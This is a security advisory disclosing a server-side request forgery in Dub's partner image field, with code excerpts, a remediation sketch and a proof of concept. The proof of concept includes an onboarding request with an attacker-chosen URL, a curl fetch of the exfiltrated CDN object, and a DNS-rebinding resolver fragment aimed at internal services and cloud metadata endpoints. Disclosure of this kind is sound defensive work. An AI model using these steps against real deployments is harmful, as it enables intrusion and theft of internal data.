Full-Read SSRF in Dub: Turning the Partner Image Field Into a Public File Host
- CVE ID
- Pending MITRE assignment
- GHSA
- GHSA-qgxx-296p-25mf
- CVSS
- 8.5 High (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N)
- CWE
- CWE-918 (SSRF), CWE-20 (Improper Input Validation)
- Vendor
- Dub Technologies, Inc.
- Product
dubinc/dub- Affected
- All current releases (verified against
mainas of 2026-08-15) - Fixed in
- No patch available
- Reporter
- Jackson Mittag (0dayscyber)
Summary
Dub, the open-source link management and affiliate platform behind dub.co and partners.dub.co, ships a full-read server-side request forgery in its partner onboarding flow. An authenticated partner can point the image field of the onboarding action at an arbitrary URL. The server fetches that URL, hands the response body to the R2 storage client, and returns a public CDN URL that anyone can read. The response body of the attacker-chosen URL becomes a static file at https://dubassets.com/partners/<partner-id>/image_<random>.
The primitive is stronger than a blind SSRF. It exfiltrates full response bodies to a public origin, discloses the server's outbound IP, and lets an attacker host arbitrary bytes under the trusted dubassets.com domain. On self-hosted deployments not fronted by a filtering proxy, a DNS rebinding bypass defeats the private-IP block and turns the primitive into a reach into the internal network.
Affected component
Three files carry the vulnerable chain, all under apps/web in dubinc/dub:
apps/web/lib/zod/schemas/partners.ts-partnerImageSchemaapps/web/lib/actions/partners/onboard-partner.ts-onboardPartnerActionapps/web/lib/storage.ts-StorageClient.uploadandStorageClient.urlToBlob
Line numbers below are quoted from main as of 2026-08-15.
Vulnerability details
Input validation gap: partnerImageSchema
The image field is validated by a Zod union whose final branch is a permissive catch-all. Any string satisfies the schema. A note in the source acknowledges the branch is temporary.
// apps/web/lib/zod/schemas/partners.ts
// This is a temporary fix to allow arbitrary image URL
// TODO: Fix this by using file-type
const partnerImageSchema = z.union([
base64ImageSchema,
storedR2ImageUrlSchema,
publicHostedImageSchema,
googleFaviconUrlSchema,
z.string().nullish(), // any string passes
]);
Server-side fetch: storage.upload and urlToBlob
When storage.upload receives a string body, it inspects the string. If the string is a URL, it calls urlToBlob. With no opts.width or opts.height supplied, urlToBlob runs assertSafeUrl (a single DNS lookup and a private-IP blocklist) and then invokes fetch(url). The response body becomes a Blob, which the caller uploads to R2 and receives a public CDN URL for.
// apps/web/lib/storage.ts
private async urlToBlob(url: string, opts?: imageOptions): Promise<Blob> {
let response: Response;
if (opts?.height || opts?.width) {
try {
const proxyUrl = new URL("https://wsrv.nl");
proxyUrl.searchParams.set("url", url);
// ...
response = await fetchWithTimeout(proxyUrl.toString());
} catch (error) {
await this.assertSafeUrl(url);
response = await fetch(url, { redirect: "error" });
}
} else {
await this.assertSafeUrl(url);
response = await fetch(url, { redirect: "error" });
}
// ...
const blob = await response.blob();
// ...
return blob;
}
Action wiring: onboardPartnerAction
The action passes the schema-validated image straight into storage.upload with no options, so urlToBlob always takes the unguarded direct-fetch branch. The resulting URL is persisted as partner.image and served under dubassets.com.
// apps/web/lib/actions/partners/onboard-partner.ts
const imageUrl = image
? await storage
.upload({
key: `partners/${partnerId}/image_${nanoid(7)}`,
body: image,
})
.then(({ url }) => url)
: undefined;
Scope of assertSafeUrl
assertSafeUrl resolves the hostname once with dns.lookup() and rejects IPv4 loopback, RFC-1918, link-local, and unspecified ranges, plus a small IPv6 set (::1, ::, fc/fd, fe8/9/a/b, IPv4-mapped). Notable gaps:
- Two-lookup TOCTOU pattern (
dns.lookupinassertSafeUrl, thenfetch()performs its own DNS lookup on connect). Vulnerable to DNS rebinding.redirect: "error"stops HTTP-level redirects, not DNS flipping. - IPv4 shared address space
100.64.0.0/10(CGNAT, cloud VPC mesh) is not blocked. - IPv4 multicast
224.0.0.0/4and broadcast255.255.255.255are not blocked. - IPv6 site-local
fec0::/10, multicastff00::/8, and NAT6464:ff9b::/96are not blocked. - The
wsrv.nlproxy branch bypassesassertSafeUrlentirely when the caller suppliesopts.widthoropts.height.
Proof of concept
Reproduced end-to-end on a self-hosted dub instance running the unmodified codebase from dubinc/dub (Next.js apps/web on port 8888, MySQL and PlanetScale HTTP simulator in Docker, no Vercel). The following steps are the primitive as an attacker would run it, with the exact server-side evidence.
1. Fire the onboarding server action with an attacker-controlled image
POST /onboarding HTTP/1.1
Host: partners.localhost:8888
Cookie: next-auth.session-token=<valid partner session>
Content-Type: text/plain;charset=UTF-8
Next-Action: <action-hash>
Origin: http://partners.localhost:8888
[{"name":"SSRF PoC","description":"ssrf","country":"AU","image":"https://api.ipify.org/","profileType":"individual","companyName":null}]
2. Server-side execution trace
The dev server prints the following stack trace. The failure is at storage.ts:61 (the S3 PUT to the configured storage endpoint), which means urlToBlob at storage.ts:43 already succeeded and produced a Blob of api.ipify.org's response body.
info - POST /onboarding
storage.upload failed TypeError: fetch failed
at async StorageClient.upload (lib/storage.ts:61:24)
> 61 | const response = await this.client.fetch(
62 | `${process.env.STORAGE_ENDPOINT}/${this._getBucketName(bucket)}/${key}`,
Server action error: Error: Failed to upload file. Please try again later.
at StorageClient.upload (lib/storage.ts:79:13)
On a deployment with valid R2 credentials the upload succeeds instead of throwing and returns a public CDN URL.
3. Public exfiltration on the hosted service
On the hosted partners.dub.co deployment the CDN URL is retrievable via /api/partner-profile.
GET /api/partner-profile HTTP/2
Host: partners.dub.co
Cookie: <valid partner session>
"image": "https://dubassets.com/partners/pn_.../image_..."
Fetching that object returns the raw response body of the attacker-supplied URL. The server's outbound IP is disclosed to the attacker, and no authentication is required to read the object.
$ curl https://dubassets.com/partners/pn_.../image_...
3.234.253.38
4. Bypass: DNS rebinding for internal reach on self-hosted deployments
The two-lookup TOCTOU pattern in urlToBlob is textbook DNS-rebindable. A minimal authoritative UDP resolver that alternates A responses is enough to defeat assertSafeUrl.
# For queries of type A for `rebind.test`, alternate:
# odd-numbered A lookup -> 8.8.8.8 (passes assertSafeUrl private-IP block)
# even-numbered A lookup -> 127.0.0.1 (fetch() connects here)
def _next_a_ip():
with _lock:
_state["a_count"] += 1
n = _state["a_count"]
return PUBLIC_IP if (n % 2 == 1) else INTERNAL_IP
Point /etc/resolv.conf at the local resolver, bring up a listener on 127.0.0.1:9876, and fire the same server action with image=http://rebind.test:9876/exfil. The listener records the inbound connection from the dub server process:
[2026-08-15T11:37:04.682737] 127.0.0.1:36926 - "GET /exfil HTTP/1.1" 200 -
The server action response is {"serverError":"Failed to upload file. Please try again later."}, matching the earlier trace - urlToBlob at storage.ts:43 succeeded (the internal service's response body is now the Blob), then the storage PUT fails. On a deployment with configured R2, that Blob is uploaded and served publicly. The private-IP block is bypassed. Any service reachable from the dub host - internal APIs, cloud metadata endpoints (169.254.169.254), admin panels, unauthenticated databases - becomes fetchable and, on a deployment with configured R2, exfiltrable to the public CDN.
Impact
The chain gives an authenticated partner a set of primitives that are unusual for a link-management platform to expose:
- Full-read SSRF with public exfiltration. The complete response body of an attacker-chosen URL is stored at a publicly readable CDN URL. No authentication is required to retrieve the object.
- Outbound IP disclosure. The response body of any IP echo service (for example
api.ipify.org) reveals the dub server's outbound IP, enabling direct-to-origin targeting that bypasses any front-end WAF or edge proxy. - Trusted-domain content hosting. Attacker-controlled bytes are served under
dubassets.com. That is a convincing phishing surface and a distribution point for arbitrary payloads. - Stored XSS in unsafe rendering paths. If a stored profile image is ever rendered in a context that executes SVG script content, the SSRF primitive delivers stored XSS under the trusted origin.
- Internal reach on self-hosted deployments. The DNS rebinding bypass defeats
assertSafeUrl. On self-hosted dub not fronted by a filtering proxy, internal services and cloud metadata endpoints become reachable and, given R2, exfiltrable.
On the hosted dub.co deployment Vercel's network layer blocks loopback and link-local, mitigating internal reach. Public-URL exfiltration, IP disclosure, and trusted-domain content hosting remain unmitigated on the hosted service.
Root cause
Two flaws compound. First, partnerImageSchema ends in z.string().nullish(), which turns every preceding format-specific branch into a hint. Any string, including an attacker-chosen URL, passes. Second, urlToBlob fires an unguarded fetch(url) after a single-lookup assertSafeUrl check, and the DNS lookup used for the check is not the DNS lookup used for the connect. The private-IP blocklist has coverage gaps (CGNAT, IPv6 site-local, multicast, NAT64), and the wsrv.nl proxy branch skips the check entirely when width or height are supplied.
Remediation
Fix the schema and pin the resolver. The schema fix removes the class of “any string passes” bugs on the way in. The resolver-pinning fix removes the class of “the address I checked is not the address I connected to” bugs on the way out.
// Schema: remove the permissive branch, require a known-good format.
// apps/web/lib/zod/schemas/partners.ts
const partnerImageSchema = z.union([
base64ImageSchema,
storedR2ImageUrlSchema,
publicHostedImageSchema,
googleFaviconUrlSchema,
]).nullish();
// Fetch: resolve once, verify, connect to the same address.
// apps/web/lib/storage.ts (sketch)
import { Agent } from "undici";
const agent = new Agent({
connect: {
lookup: async (hostname, opts, cb) => {
try {
const { address, family } = await dns.lookup(hostname);
await assertSafeAddress(address); // block private ranges here
cb(null, address, family);
} catch (e) {
cb(e as Error);
}
},
},
});
response = await fetch(url, { dispatcher: agent, redirect: "error" });
Three hardening steps sit on top of that. Extend the blocklist to cover 100.64.0.0/10, 224.0.0.0/4, 255.255.255.255, IPv6 fec0::/10, ff00::/8, and 64:ff9b::/96. Remove the direct fetch(url) fallback in the wsrv.nl proxy branch so external proxy failure fails closed. And gate the CDN so unauthenticated reads of partner-owned objects are not possible by knowing the object key.
Timeline
| Date | Event |
|---|---|
| Reported privately via GitHub Security Advisory GHSA-qgxx-296p-25mf | |
| Follow-up on the advisory thread. No response. | |
| Second follow-up on the advisory thread. No response. | |
Self-hosted end-to-end reproduction confirmed, including a working DNS rebinding bypass of assertSafeUrl. | |
| Public disclosure and MITRE CVE submission. |